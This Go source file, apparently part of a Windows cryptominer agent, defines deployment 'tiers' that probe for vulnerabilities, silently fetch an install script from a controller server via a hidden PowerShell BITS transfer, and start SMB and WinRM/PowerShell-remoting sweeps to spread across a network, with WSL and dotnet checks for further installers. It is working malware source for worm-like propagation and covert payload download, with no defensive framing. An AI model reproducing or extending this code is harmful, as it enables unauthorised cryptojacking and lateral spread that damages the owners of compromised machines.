//go:build windows

package deploy

import (
	"fmt"
	"os/exec"
	"strings"

	"crypto-miner-agent/config"
)

func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
	switch tier {
	case "vuln_recon":
		RunVulnRecon(HostOSVersion())
		return true, "vuln recon complete (report only)"
	case "docker":
		if _, err := exec.LookPath("docker"); err != nil {
			return false, "container runtime unavailable"
		}
		return true, "container runtime ready for worker image pull"
	case "wsl":
		if _, err := exec.LookPath("wsl.exe"); err != nil {
			return false, "wsl.exe not found"
		}
		out, err := HiddenCombinedOutput("wsl.exe", "-e", "echo", "ok")
		if err != nil || !strings.Contains(string(out), "ok") {
			return false, "wsl not responding"
		}
		return true, "wsl available for curl|bash install one-liner"
	case "powershell":
		if _, err := exec.LookPath("powershell.exe"); err != nil {
			return false, "powershell missing"
		}
		go runPSRemotingSpread(cfg)
		return true, "powershell remoting sweep started"
	case "dotnet":
		if _, err := exec.LookPath("dotnet"); err != nil {
			return false, "dotnet SDK/runtime missing"
		}
		return true, "dotnet host available for tool-run bootstrap"
	case "bits_curl":
		installURL := strings.TrimRight(cfg.ServerURL, "/") + "/install.ps1"
		_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
			fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
		return true, "bits/curl install hook queued"
	case "smb":
		if !cfg.AutoSpread && !cfg.ShareSpread {
			go RunSpreadOnce(cfg)
			return true, "smb lateral sweep started"
		}
		go RunSpreadOnce(cfg)
		return true, "smb sweep started"
	case "winrm":
		if !cfg.ShareSpread {
			go runPSRemotingSpread(cfg)
			return true, "winrm opportunistic sweep started"
		}
		go runPSRemotingSpread(cfg)
		return true, "winrm sweep started"
	case "linux":
		return false, "linux tier is for ssh lateral on unix agents"
	case "gpo":
		return false, "gpo requires domain GPO push — operator action"
	default:
		return false, "unknown tier"
	}
}